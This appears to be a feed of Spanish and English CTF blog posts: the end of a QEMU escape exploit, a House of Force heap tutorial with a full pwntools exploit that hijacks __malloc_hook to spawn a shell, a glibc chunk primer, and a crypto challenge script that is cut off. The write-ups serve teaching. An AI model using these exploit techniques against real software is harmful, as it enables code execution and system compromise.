In our exploit the setup_fake_ops function will create the fake structure in gva_buff[MREG_SIZE]. Remember that anything we have in our guest buffer will be copied (once triggered the write callback) to the place where the MemoryRegion mmio is located, and by writing our fake ops in a MREG_SIZE offset from gva_buff they will end up in the qememu buff. We have done this to ensure that we don’t overwrite anything useful from mmio. Our fake ops will first contain a pointer to hva_qmemu_buff+0x60 (which is where we place our shellcode) and then a pointer to the address of mprotect@plt. This two pointers will mock the read and write callbacks respectively. Finally, we copy our shellcode to gva_buff[MREG_SIZE+0x60] wich remeber that will end up in buff[0x60] in the quememu structure.

Having setup the fake ops we can now overwrite the pointer to the MemoryRegionOps with hva_qmemu_buff, which as we explained earlier is where our fake ops will end up. To be able to correctly pass the first argument to mprotect we have to also overwrite the opaque atribute with a pointer to the page where our shellcode will end up.

Once we trigger the write, we will have the following layout:

Memory Layout

Lastly, we call mprotect and our shellcode, and we get the flag:

...
	// call mprotect
	mmio_write(0x1000,  PROT_READ | PROT_WRITE | PROT_EXEC);
	// win :)
	puts("[*] PWNED!");
	mmio_read(trigger);
...

Executing the exploit

You can find the complete exploit at this link.

If we run the exploit, we can successfully read the flag that is located outside Qemu:

Result flag

]]>Diego PalaciosHeap Exploitation 0x02 | House of Force2022-07-26T18:03:55+00:002022-07-26T18:03:55+00:00https://diegoaltf4.com/heap-exploitation-0x02Tras haber visto el funcionamiento de las estructuras básicas con las que trabaja malloc (chunks), vamos a estudiar la técnica House of Force.

En las versiones de GLIBC inferiores a la2.29, el tamaño del top chunk no está sujeto a ninguna comprobación de integridad durante las alocaciones. Esto es fundamental para poder llevar a cabo la explotación, ya que, la idea básica del House of Force es modificar el tamaño del top chunk para poder alocar memoria suficiente como para que la siguiente llamada a malloc sobrescriba nuestro objetivo.

Para poder ver todo esto mejor, vamos a resolver un reto de un CTF reciente:

Use the Force, Luke del Space Heroes CTF 2022. Podéis descargarlo aquí

$ file force
force: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./.glibc/glibc_2.28_no-tcache/ld.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c50b5c7f0a7dc45dd3409c7fbf1350c534c52662, not stripped

$ checksec force
[*] '/home/diegoaltf4/Archivos/force/force'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./.glibc/glibc_2.28_no-tcache'

Tenemos un binario de 64 bits, dinámicamente enlazado. Además, tiene canarios y NX activado. Si miramos, aparte del binario, tenemos una carpeta .glibc, cuyo contenido es:

Observando las librerías compartidas del binario con el comando ldd, podemos ver que usa la versión 2.28 sin tcache de GLIBC. Como es una versión inferior a la 2.29, el tamaño del top chunk no está sujeto a ninguna comprobación de integridad durante las alocaciones.

$ ldd force
linux-vdso.so.1 (0x00007fffdfb5c000)
libc.so.6 => ./.glibc/glibc_2.28_no-tcache/libc.so.6 (0x00007fe966f61000)
./.glibc/glibc_2.28_no-tcache/ld.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fe967318000)

Vamos a analizar el decompilado de la función main:

main.c

undefined8 main(void)

{
  long lVar1;
  long in_FS_OFFSET;
  int opcion;
  int local_2c;
  size_t size;
  void *local_20;
  void *local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("\"This is our chance to destroy the Death Star, Luke\"");
  printf("You feel a system at %p\n",system);
  local_20 = malloc(0x88);
  printf("You feel something else at %p\n",(long)local_20 + -0x10);
  free(local_20);
  for (local_2c = 0; local_2c < 4; local_2c = local_2c + 1) {
    puts("(1) Reach out with the force");
    puts("(2) Surrender");
    __isoc99_scanf("%u",&opcion);
    if (opcion == 2) break;
    printf("How many midi-chlorians?: ");
    __isoc99_scanf("%llu",&size);
    printf("What do you feel?: ");
    local_18 = malloc(size);
    lVar1 = malloc_usable_size(local_18);
    read(0,local_18,lVar1 + 8);
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

Inicialmente, se imprime la dirección de system y la dirección base de Heap. Para poder mostrar la base de Heap, aloca un chunk que luego libera y resta 0x10 del puntero que devuelve la llamada a malloc.

Se nos muestra un menú y tenemos dos opciones:

(1) Reach out with the force
(2) Surrender

Si seleccionamos la primera opción, nos pide dos valores y si seleccionamos la segunda opción salimos del programa. Vamos a analizar la primera opción:

El primer valor que pide es el tamaño que aloca malloc y el segundo el contenido. Si nos fijamos, hace una llamada a malloc_usable_size y luego, a través de read, escribe en el chunk el tamaño que devuelve malloc_usable_size + 8. Ahí tenemos el overflow que nos va a permitir sobrescribir el top chunk. Vamos a comprobarlo:

xpl1_house_of_force.py

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

def new_chunk(size, data):
    io.sendline(b'1')
    io.sendlineafter(b'chlorians?:', size)
    io.sendlineafter(b'feel?:', data)

gdbscript = '''
init-pwndbg
'''.format(**locals())

exe = './force'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

libc = ELF("./.glibc/glibc_2.28_no-tcache/libc.so.6")
ld = ELF("./.glibc/glibc_2.28_no-tcache/ld.so.2")

io = start()

io.recvuntil(b'at ')
system_leak = int(io.recvuntil(b'\n'), 16)

log.success(f"system_leak @ 0x{system_leak:x}")

libc.address = system_leak - libc.symbols.system
log.success(f"libc base @ 0x{libc.address:x}")

io.recvuntil(b'at ')
heap_leak = int(io.recvuntil(b'\n'), 16)

log.success(f"heap_leak @ 0x{heap_leak:x}")

new_chunk(b'24', b'A'*24 + flat(0xffffffffffffffff))

log.success(f"Top Chunk modificado")

pause()

Si lanzamos el exploit y depuramos con GDB, podemos ver que hemos sobrescrito adecuadamente el top_chunk:

Bien, ahora tenemos que ver qué queremos sobrescribir y calcular la distancia. Dado que este programa realiza llamadas a malloc, podemos intentar controlar el malloc_hook para que apunte a system y podamos obtener una instancia de/bin/sh al alocar un chunk.

Definición de malloc_hook:

The GNU C library lets you modify the behavior of malloc(3), realloc(3), and free(3) by specifying appropriate hook functions. You can use these hooks to help you debug programs that use dynamic memory allocation, for example.

The variable __malloc_initialize_hook points at a function that is called once when the malloc implementation is initialized. This is a weak variable, so it can be overridden in the application with a definition like the following:

void (*__malloc_initialize_hook)(void) = my_init_hook;

Para más información, podéis consultar la man page.

La función malloc_hook se encuentra en la GLIBC. Como tenemos un leak de system, podemos calcular la base y a partir de ella, obtener la dirección de malloc_hook.

Ahora necesitamos calcular la distancia a la que nos encontramos del malloc_hook. Siguiendo el diagrama de VA del anterior artículo, podemos ver que GLIBC se encuentra en direcciones más altas que el Heap. Por tanto, la distancia hasta el malloc_hook la podemos calcular de la siguiente forma:

size = (libc.symbols.__malloc_hook - 16) - (heap_leak + 16 + 24)

Nos situamos 16 bytes antes de la dirección de malloc_hook para contemplar el campo size (8 bytes) de este chunk y para tener en cuenta el size del siguiente chunk. Además, a esa dirección le tenemos que restar nuestra posición actual que es la base de heap + los 24 bytes de datos + los 16 bytes de la diferencia del puntero de malloc.

Por tanto, teniendo el tamaño calculado, solo nos queda reservar el chunk. Podemos hacer una prueba para ver si hemos hecho los cálculos bien y si estamos sobrescribiendo el malloc_hook. Para ello, llamamos a la función new_chunk con el tamaño calculado y reservamos un nuevo chunk que tenga un tamaño de 24 bytes y como datos, la dirección de prueba:

size = (libc.symbols.__malloc_hook - 16) - (heap_leak + 16 + 24)

new_chunk(str(size).encode(), b'A')

new_chunk(b'24', p64(0xdeadbeef))

Como se puede ver, el malloc_hook está apuntando a la dirección que hemos especificado, por lo que el cálculo del tamaño es correcto.

Ahora podemos poner la dirección de system y llamar a malloc pasándole como size el puntero a bin/sh.

Exploit final:

finalxpl_house_of_force.py

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

def new_chunk(size, data):
    io.sendline(b'1')
    io.sendlineafter(b'chlorians?:', size)
    io.sendlineafter(b'feel?:', data)

gdbscript = '''
init-pwndbg
'''.format(**locals())

exe = './force'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

libc = ELF("./.glibc/glibc_2.28_no-tcache/libc.so.6")
ld = ELF("./.glibc/glibc_2.28_no-tcache/ld.so.2")

io = start()

io.recvuntil(b'at ')
system_leak = int(io.recvuntil(b'\n'), 16)

log.success(f"system_leak @ 0x{system_leak:x}")

libc.address = system_leak - libc.symbols.system
log.success(f"libc base @ 0x{libc.address:x}")

io.recvuntil(b'at ')
heap_leak = int(io.recvuntil(b'\n'), 16)

log.success(f"heap_leak @ 0x{heap_leak:x}")

new_chunk(b'24', b'A'*24 + flat(0xffffffffffffffff))

log.success(f"Top Chunk modificado")

size = (libc.symbols.__malloc_hook - 16) - (heap_leak + 16 + 24)

log.success(f"{size = }")

new_chunk(str(size).encode(), b'A')

new_chunk(b'24', p64(libc.symbols.system))

new_chunk(str(next(libc.search(b'/bin/sh\x00'))).encode(), b'')

io.interactive()

Referencias:

http://phrack.org/issues/66/10.html

https://heap-exploitation.dhavalkapil.com/attacks/house_of_force

https://www.youtube.com/watch?v=s-GJ-buCGio

Espero que os haya gustado y, lo más importante, que hayáis aprendido.

DiegoAltF4

]]>Diego PalaciosHeap Exploitation 0x01 | Chunks2022-07-26T13:07:31+00:002022-07-26T13:07:31+00:00https://diegoaltf4.com/heap-exploitation-0x01¿Qué es el Heap?

A diferencia del stack, el heap es una zona de memoria que puede ser asignada de forma dinámica. Podemos asignar y liberar espacio en casi cualquier momento. Es importante saber que, al contrario que el stack, el heap crece hacia direcciones de memoria crecientes.

Para que nos situemos mejor, he creado un pequeño diagrama que intenta reflejar el espacio de direcciones virtuales en Linux. Este diagrama nos va a ser de gran utilidad para que, en cada momento, sepamos dónde nos encontramos y hacia qué zona queremos desplazarnos. No es lo mismo alocar un chunk para sobreescribir el valor de una dirección que se encuentra en “.data” que sobreescribir una función que se encuentra en la GLIBC.

Nota: Las direcciones de memoria que aparecen son ejemplos. No se deben tomar como rangos fijos.

Malloc Internals

Los chunks son la unidad básica de memoria con la que trabaja Malloc. Están formados por un campo size (8 bytes) y por los datos de usuarios.

Los chunks tienen la siguiente estructura en una arquitectura x86_64:

Allocated Chunks

Código de ejemplo:

Allocated_Chunks_Ex.c

#include <stdio.h>
#include <stdlib.h> 
int main(){ 
	char * buf1 = malloc(1); 
	char * buf2 = malloc(24); 
	char * buf3 = malloc(25); 
	char * buf4 = malloc(40); 
	return 0; 
}

Vamos a utilizar ese ejemplo para entender mejor el funcionamiento de los chunks.

Comenzamos desensamblando la función main:

Ahora vamos a establecer un breakpoint en main + 17. En ese punto es cuando se efectúa la primera llamada a malloc:

b *main+17

Ejecutamos el programa y visualizamos los chunks con el comando vis:

Como se puede ver, no hay chunks actualmente porque no se ha llegado a efectuar la llamada a malloc.

Continuamos con la ejecución y visualizamos nuevamente los chunks:

Ahora sí que tenemos datos sobre el chunk reservado. Vamos a analizarlos:

En el primer malloc, hemos reservado 1 solo byte; sin embargo, GDB nos indica que el chunk tiene un tamaño de 0x20 bytes, es decir, 32 bytes en base decimal. De estos 32 bytes, tan solo 8 se utilizan para indicar el tamaño y los 24 restantes son los que almacenan la información. En consecuencia, el tamaño mínimo (usable) de chunk es de 0x20 bytes, de los cuales 0x18 son de datos.

El tamaño de los chunks se incrementa en múltiplos de 16 bytes (malloc está alineado a 16 bytes). Por tanto, tenemos la siguiente secuencia de tamaños: 0x20, 0x30, 0x40, 0x50, etc.

Por consiguiente, si queremos reservar entre 25 y 40 bytes de datos, el tamaño del chunk será de 0x30.

Veámoslo con el código de ejemplo.

Ahora, vamos a establecer un breakpoint en main + 59:

b *main + 59

Arrancamos el programa y visualizamos los chunks:

Efectivamente, se reservan 0x30 bytes para cada una de las siguientes líneas:

char * buf3 = malloc(25);
char * buf4 = malloc(40);

Top Chunk

El top chunk se encuentra en la parte superior del heap. Si se asigna más espacio, se desplaza hacia abajo y da el espacio. Si el chunk se libera, se vuelve a recuperar el espacio.

Vamos a verlo con el mismo ejemplo de antes:

Con el primer malloc, el tamaño del top chunk toma el siguiente valor:

Con el segundo malloc, el tamaño del top chunk toma el siguiente valor:

Como se puede ver el tamaño del top chunk actual 0x0000000000020d31 = 0x0000000000020d51 – 0x20

Con el tercer malloc, el tamaño del top chunk toma el siguiente valor:

0x0000000000020d01 = 0x0000000000020d31 – 0x30

Con el tercer malloc, el tamaño del top chunk toma el siguiente valor:

0x0000000000020cd1 = 0x0000000000020d01 – 0x30

Free Chunks

Cuando “liberamos” un chunk a través de free, algunos quadwords que antes se utilizaban para almacenar la información del usuario, comienzan a formar parte de la información de malloc.

El campo size se mantiene, pero el primer quadword que contenía información de usuario, se utiliza como forward pointer y el segundo quadword se utiliza como backward pointer. Estos punteros se utilizan para clasificar los chunks en bins. Por tanto, la estructura es similar a la siguiente imagen:

Nota: hay más quadwords asociados a los datos del usuario que se reutilizan. Los veremos en más detalle en futuros artículos en los que hablemos sobre bins, pero para los más curiosos, en el malloc.c se define la siguiente estructura:

malloc_chunk_struct.c

struct malloc_chunk {

INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */

INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */

struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */

struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */

struct malloc_chunk* bk_nextsize;

};

Chunks Flags

Dado que los tamaños que reserva malloc siempre terminan en 0, los últimos 3 LSBs del campo size se usan como flags para indicar estados del chunk. Por tanto, los chunks adquieren la siguiente forma:

NON_MAIN_ARENA (0x04)

Este bit indica si el chunk NO pertenece a la arena principal (main arena).

IS_MMAPPED (0x02)

Este bit indica si el chunk fue alocado usando mmap().

PREV_INUSE (0x01)

Este bit indica si el chunk anterior está en uso. Es importante saber que algunos chunks como los fastbins tienen este bit activado a pesar de haber sido liberados por la aplicación (free).

Para más información podéis consultar la wiki de GLIBC

Referencias

– https://ir0nstone.gitbook.io/notes/types/heap

– https://guyinatuxedo.github.io/25-heap/index.html

– https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/malloc_chunk

– https://www.youtube.com/watch?v=s-GJ-buCGio

– https://heap-exploitation.dhavalkapil.com/

Espero que os haya gustado y, lo más importante, que hayáis aprendido.

DiegoAltF4

]]>Diego PalaciosWriteup Una Al Mes – Junio 20222022-07-20T11:00:05+00:002022-07-20T11:00:05+00:00https://diegoaltf4.com/writeup-una-al-mes-junio-2022-criptografiaHoy veremos cómo resolver el nuevo reto de criptografía de la plataforma “Una Al Mes”.

Introducción:

En esta ocasión, nos encontramos ante un reto de criptografía y tenemos que conseguir 3 flags.

Tan solo nos proporcionan un archivo “.py”, cuyo contenido es:

Space_Project_UAM.py

#============================================================================#
#============================SPACE TRIP===============================#
#============================================================================#

import hashlib
from cryptography.fernet import Fernet
import base64

# GLOBALS --v
arcane_loop_trial = True

planets = {
  "Mercurio": 0.24,
  "Venus": 0.62,
  "Marte": 1.88,
  "Júpiter": 11.86,
  "Saturno": 29.46,
  "Urano": 84.01,
  "Neptuno": 164.8,
  
}

def intro_trial():
    print("\n===============================================\n\
    Bienvenidos a este viaje espacial, SUBAN A BORDO !!!!\n")    
    print("Se encuentra en el centro de atención de viajes espaciales")
    print("Aqui podrá consultar las distintas tarifas \n\
relacionadas con la distancia a su destino. \n\
Recuerde que para acceder a su ticket necesita introducir su licencia\n\
=====================================================\n\n")

def menu_trial():
    print("___SPACE TRIP___\n\n\
Menu:\n\
(a) Calcular costo de viaje\n\
(b) [LOCKED] Acceder a ticket de viaje\n\
(c) Ingresar licencia \n\
(d) Salid del centro de atención de viajes espaciales")

    option = input("Seleccione la opción que más desea (a/b/c/d)? ")
    
    if not validar(option):
        print("\n\nOpción incorrecta!\n\n")
        return
    
    if option == "a":
        precio_viaje()
    elif option == "b":
        opcion_bloqueada()
    elif option == "c":
        introducir_licencia()
    elif option == "d":
        global arcane_loop_trial
        arcane_loop_trial = False
        print("Que tenga un buen día!")
    else:
        print("Ha seleccionado una opción incorrecta, por favor")

def validar(opcion_elegida):
    if opcion_elegida == "a" or \
       opcion_elegida == "b" or \
       opcion_elegida == "c" or \
       opcion_elegida == "d":
        return True
    else:
        return False

def precio_viaje():
  print("\n\n Sitios disponibles para viajar del sistema solar :")
  for planeta in planets:
    print(planeta)
    
    
  resultado = input("Seleccione un sitio que se encuentre disponible: ")

  if resultado in planets:
      dist = planets[resultado]
      precio = (dist **2)
      print("\n""El precio de viajar al planeta "+ resultado + " Situado a una distancia de "+str(dist)+ " años luz, sería de " + str(precio) \
 +" gemas del infinito\n\n")
  else:
      # TODO : 
      print("\nEl planeta seleccionado no se encuentra disponible\n\n")

def opcion_bloqueada():
    print("\n\nPara acceder a este sitio debe de registrar su licencia\n\n")

def introducir_licencia():
    print("\n Su licencia se encuentra cifrada en RSA")
    print("\n Datos disponibles:")
    print("\n N:2388359604017562360686986826224407467085141542110106297195474917317598533853482966573781022895301214038172036369449124672056785812196701442436301713256329682262800506348973244370343978930848590448632471683227298949837982596258881987542556516242078135641151110529441878952297040735067050915825910591044267338619727699025093233802557928242039526776443273229603331123837732704576287055048035853719637773386378484400138967119256462879704170644777435140519575930343073837331606656680431107878364011329736084042156051102552595028376108767986366643502871029624959943078823651061456756269940347667680087219115241717836903727876944071795483871598218654421875968136363745276590642798841955188030275484016418866459941888404372137056223485086390119726549111092550651040715892407647299855009875414855092225786762619999478029464571012275427683308915306292354974121999956919177496194811807488385022242758843660252461621608921888601112105332430021120341932414260104903029586353455582330541938999265036078858976696027946971")
    print("\n e: 3")
    print("\n c: 1540721424343799902606651655848933086271745472278165266240849486559556881783873287413652584507984944306200870022880146776214626060950164476558869019210122220116044284889929096084990678169089848831509075708420122306035373495840314113720152014011617499294596976326861255637499828853401492372193963031884595623110218888611592586981134397771959503322183258914008502055519902491582335028201338136992911379083206307454812940479912821366654550451867440100372095636509631453314789012598795454510232231466021273667090876872012316533222291192770766350631652145833625098465315630072886326825137446590457400355062225014677785718519750253736188120429855174472025330346688494949266124236925164422748262980925232326494719540341841616873866001441002292970154428056595601908567551539056028365120426102085844437653070298813380091882415786292133393507387022552046526817913424253789271549901462627897454016941811819805715856594343758485141860592261362250817672946612120186033077052168133301973361814764918267639746916442387411")
    print("\n pista: la clave contiene un padding, y se encuentra en formato UAM{}")
    user_key = input("\n Introduzca la clave de su licencia contenida dentro del formato UAM{}: ")
    user_key = user_key.strip()

    global bUsername_trial
    decrypt_full_version(user_key)
    
#    if check_key(user_key, bUsername_trial):
#        decrypt_full_version(user_key)
#    else:
#        print("\nKey is NOT VALID. Check your data entry.\n\n")

def decrypt_full_version(key_str):
    
    

    try:
            global encrypted
            key_base64 = base64.b64encode(key_str.encode())
            fernet = Fernet(key_base64)
            global decrypted
            decrypted = fernet.decrypt(encrypted)
            global arcane_loop_trial
            arcane_loop_trial = False
            global jump_into_full
            jump_into_full = True
                     

          
    except:
    	print("Error en el proceso")

def ui_flow():
    intro_trial()
    while arcane_loop_trial:
        menu_trial()

# Encrypted blob of full version
encrypted = \
b"""
gAAAAABijJyT-gFmc53LOUxkjHOOitfzmBw7Acq1G0ELe2qcH3vx2U65SdTIw18VKKyge7QgvpSIKnMoj9xHO02OIWvjxunwUprREKlKxcyDwTOYZjG5xu-Oplb7tmaPpkPvOSr72EflAe6o3CWEww5AUuyDbBeZdPZ3anWBft3QAGcB3wV5xKF8D5eELDWM6bFIwLcFEqIMNe85bdutg0fiKdEnpACbtSaYlI7l4mPV9sXXe-ycSHZfk6guhXrthpZnt17EBwS12kgAsnizBmY0n9_OUYJFiWqLt8U1NN4yJS7qRUqWUx3yTznPXODVewghLemGiCHZIxpb9Ftx_wo19FbB_c-xkTSU39wVE2AMoDmI1JyWib6w1MkT_GWcva0h9UXve7AgtBQdp7IVYkrGuIlevk3Ni-xUbISvt_w9WQfiJL8IW28jObwEKA_GaLmbVGQR31nJ9hlqsvwVMXMRN9oAsctW7vOQK_b5bN29Heb6JK3oVra_T-BkFribIA1o1vvW3rJndI3uvlKPlFDwEaF-nsOS0dl_HRpIiZgnFJK_XVGLhc7tL78wOVnvSHHe2psZlewdoB2IRBu6rG66AX-GtHbd56bmOzFOSAd5ydzJuwy14oe_FT-dQ7uJkHqPbae76hHd-bWEIiPQFapHR5YVIFIWiwLUwxRXFDEYUIVgsSZB6nSCX7KxCfY5oGHfW6qUBb8N1QTsMvCEzkgHPcGGg5uD7Tp7BSHR1kXB_kRjPxjO7Tg4gfgARYHKWhqeSs_cRVCvC--vhwER2KCtM3U98QNM7YQi0piNy0C0jpVmFZcd_N1raOUBkt2e-2-fEo1bFzjc6Korl5BpM45eo7FE8JQvi8uCf6PHqcRfh6V_iaBUZfT0kbS6zT7Cf_jEMfPjdyz63M0FtXyAMZlPX8GBFgNL9HnfWsWQTTSY-Nmpz8HsTPmc1G6LymAZC4PfkBnlq8_jxdzfZGO-c9HiuItCYkiTrLbX-XfZM8rmP5SAPQbVKtjvxacyHenhXomtTYFAlsY-nDFkHfpZH-ec3HY-6mH9lO59IT7g5iqIyCTwOlrN0Abv8qoYqGjboSdt3JhRLAfVnXJ7S2iWGEPbzA_ylqIugG-5_nEiWTDmepKyAFWNAtH7cdLUzSF2okmtd8Z7y4lZzSwrpavDarjE86yBJSfCmvqvLMHJLTCVzA8aJdahFOyssL5SaXtKbcJ1rT5nlalDjR7Op1yx_Z1Ae9am338aF1UENFiHWiTufNx4OxThxpYmJ8YA4_qlnKAoFfYQlMjYfF4JUjezS9qfheS_7L8gLwU7STvku7dwjfVbaEv-n7exiwl9Pfwk6u_ln7oiYjQwGcXQZMx6tQgYNWKZMBCkENWcX9yuhqOXxzq-CKrPYG3-Kl9yA7EHBLjs2GwbUKCVu6arm5ChCDEPB7TApcmyUWbGAosjp4bl-LoQCojgDFJmR-Uiialj9q9xRJadyIGQLY73WttyyPQU7I2YTyOnmQxcmQ0FYYNMbFlcvAt1zYc00rWb0mf-jjbvUqqnUS8cvWl0uw1jjY99NVEWaZ3_W8wpePcg2yThBOmCd8H5ye2uqDvz79Fo8JOyTsPs2NB4O53g4kqjQ1oQFMcwFHQh6xmNGixEy6FHS3fzg7kz8Ox3E6YI1TfUxPovEaBGtPeEVvh6J-LL6O7ruNxY3h65qJGlz6i9UifrqIpyn_FR7kUV9ZDRHYNZDY_8VRCa9Z3WS_OBRmyggYWlb2B8MgITe2ndk2BtUIDNHXdxRZ35p6xkGoaqX5OfMkhrR9GJ8wxoWf52V6n0U7Y-NRbpG5-eDAVtF0dt9aEIOhF_lvW8JduHTzBhHQGNg_uFYXB4B7ZHFoYfKfBEaXfpP8csEIWGBOXplE3nr5cDxdI5X2iAzxzb1gtWS3DimmAnmOjPcNBNcU2L28p_u9-OXnMgvoiLMcXqWhPK9Te889Gyst2RUA998cHOGFDUlnMMHdQacQNag-cdvOYUjn5c4L9rXygzTqVSRRsbKNds_2dWBwjAdLINyn0tvSQaFR9N03fUMruKSqhebIj4SXi26vo6E1etfYPujJEaHEqXUk_9hxCCD_npAWIJtkuoRIBKD32zqMXeRxkL4xb1BCar_m30bap8Q-hlA0_4z3hakzjtaYjyHgRXHzMVqknb104DPhDXojg1eKuq9CVr6YdQYa0MfUmedMd2WBmYYdSqIP8z2ZZ8A3VdFa97kkw8FaFtyLfMeeGD1AlIszTD7CVmcuy0rVwnjZY8aYdpTv1VsKpdsUToLbAjXVhRa76LjMOjLrLLTR-7SoPlWloux70SxXuQyec4XgC9NY7o_PqJe8I9HXu1rmmzxKp-2x3WYRUF9dNzqRYmsMhHn0w8WrwvLDBigri314lXjaHYSn9nFj-ajEvPq2S0j6RcGOLsD33eoswdiZuItIERC8O1ZAKuSZDRgbE3si5qkCNro_C1VrKasdIF9rQJh-dEHDZDE6Gdw8o5wS1wyTxYjkexvFExfe5c4iKcP3iTJySAuBI4_Ta4KS-sk-b16HQRCpEwQ5Pz7-eIldSRHZnrLJFafYOcIeHWBg-TnzH2v5bdxPexBQW4WedLAmOv3Yg5IHAGt91wga_kQ8JNeDcpWQ8fsa94v0VL2ULT5VbZLX7nWDRj3EQcMoi0Ct9JCa7GK_vDd1jYm9trL52T1pm9bHgtFfcTbUxytsW8Bj7r1rmn3GPfc__UmTl_POy3iSdWKyHBF4YUg0ds2W2NsZkNds3ZeNLQvhOq7PMcH5uz3e7e_4r7rWH9AMSAEcfQZymGWwxq8p3q5lDC8coA7Jbw9S2_lpgoW6YwWWUBkvfm7IIdfmbHvC2HJD1JLRq-nQ2Tq_KZon5aXF90huY-7XWSV0pkjt2eTonWN56shkC1OUkrLpJbxtls4NIwpQRA0zhmQHywCfE6Z7xDWylYofLzJeuV5PxvsFFYNO3lq1ApqNAcj4YA7WZ9SJEbx3O-kGBNUWpW3I8gpvJPxF7xvNIJrNv2aJaBCDkAQ87o7UEc--v_J_hj0qYcu_CMLpJ6pWz2-OuL62U4wSpk1cSGkyS42o5DK_UbtDq0Z-PRln7-Z6mR1_L5QlXO6QfXs2UZZWVYyMHuwDN0FL02-E93UFbDC22oUP088jrI19z07Gj3X7LdZYbXWcQBb6HUarYTjUgRcgUWydRur_QRcJChAG1VRnzPLHbI0C9k0y0vczlvSRWKiZDcO4bSV9cUX83BFg3UEbO3eJEALwKnpJypfcjCouvQ-xxa2LiGbpqy_xZAcg1suTtxO3Q1WOCEbPZ3XtfxdUK4gl1mQTzxdgjXnmuKojxG52wDdVg2XEINaf4XIpB1RJHSIwkuqNrBpjDd7MQKuEzs7BwAxK2ULDI5w8FaWpuKyCGHtpFJa3qUwToQJ9Cnnua2uUMhWkKtWUlM6-VTJsYbz4_Fs5RNEiV7kagAfq2AOvEElg6lXHkb67G8fzMjwhEToloFVRUrn_OkfU0ah0sSSnpEZ8QSbI20jyLCJN8Pw_PD4kKIiER1UwwR9ZPByzMtpqQfrFlUAZP3yQwnyaKWmCDze6tICbjeYTkOYilWZhLj6bNyXmQ1f-SZtCc1G0Utq6bQG_CV9cSiKIe_zN0KdEOuYKxdxMqnarWnMY-iXdSZO2fRkhK0oxOUlkWNoX5kb-VeNrzshmYm-TcDNKDOduR9CGCCWSPzjBYPvRYnZ78lADx2QMe4FDt4LCVuNHKYAjvImBy13q5xRECxcfWzRGejpOn_yc5N8krGzumNibW8sl9J9Yhg8JSnQH_B27rq1qHCR0Hy9Z_01aVO1ngYrYykV6hboyhgMlJdYbcXczQH5J4E8tGDaRfsyPpOozjk9F6ag5HahUW8B5RFU7Xchob_OXm3X1rncBVOIEkl5_n7KZrHi_npgnv0BwYQBj6K7CqYZGoNa4nThc8NVByITrEZdSpkZ_9-f_m2NOw2q4SWpLAV8YH3gC-wEgEM13Wb8gwjgfusP_IXkG7KkqSQ1J_zKS9MtotuBtrFnqxUmUBMgSJp45f94aC4JumjzRXPM3dPDOKm78LHRBh8oc-VbMWv6qJgh5gp144d6GAFp5dazaqDlk3Pf1yVAZJvs7lviI0TFSoPjIOP7rRdMggHkvX1WFTjujyV4k54e-BDwabXYHNJg9eLzs5VoJwkcMJ3XZPg6YbBLHgO_dcUShkVV14ZFyF1VWMMDCntQPqpQI5K5LbM21KMJONmkKqrkcJHoWBlS2u5-2xS1tqhXNz51vq18bZGNrKej16BYvtL7LzK2q4n_UNwNa8zLY7a0s7afjTpcuXIU5hsoGtZKwbD7v3dfUDuVfpM7eICUEKWSsIjHSUSHcUZDqetjuQuO_quKhvSKs1wnGnI_Tz2Gt_ERjpuOaQCzp5fPFlBj4axbufLoWoP2otsISJwzQyO_R8bsHYK8EfgT6BHwtQz2D7pNWhLqBJt7z0G1OYozdj1Gd7nrfhq_arihEDVhbqzESwHdu6YXQQMgJnAz8qTCRH4QI4igmen9nm5gcSUmdCXBh6fR5cEP7gb8I3lTDyYF7rUc3XAir-xjV4ipZHJ-b6x-BP-CHemqvzaDuf6BobhPtLme0DhkfVYID1WINXcZCbe1GdGkqnlp9YAP6cJcGqGPydjuOuH6EZwUd5BFSol-9EwmV3gAtJDXS7B0Tgccsz68jxjiJapmLSI2FypwTX5oyIl339QDhXR8Y5yRpdcpYbkndUbmGrKp0K_xR8w45mWGBeOhwVZ1LVcULCNoORuse2oB6iKplLZviNult2U4DGo4ZUtuVgWWdzg7umMVEKBA-hgkSxDvdDFV5kIzLNJYpWWEFPVMnUS6dmbQIIWYgHcdlUyfbydt1KPR_d46rFGe5cZ1bDihUmdGaEXtmQXaQ5Ogn-cJNTBufG1ZPbdcFsJpu2sogLWbpwmSlsDqvlbSBNKwwFzeD2wgrY3DibYm2ULXLlxEA140KV2HjZ8HA_i85eUvJ6rGHgliMMoJWCB3rjN0FlCU2CxcNYf1eOYJTKMWv9cScQGNY8m-VXJ76Ee59c3frP7gCL_Swf5c40uwWlYgyPIZCZXaO9y6hyDISf7fmVSPUQ16zcztyVbioQjD2WcMDhqAW_sVdumuxHsue0KENhuDDnXVKMlGc2syVqHSwryHza0totX6oxB6aJ_hPWfENdZUOyoZl_Lpivj_vAT8qo2nHDgmLD-bSU_-o0I78WAE4dNvpUjyEkxAhOZO1RF1ufW6C0R9qeBKGKma1lPrhl5HsEu6WnmZiDm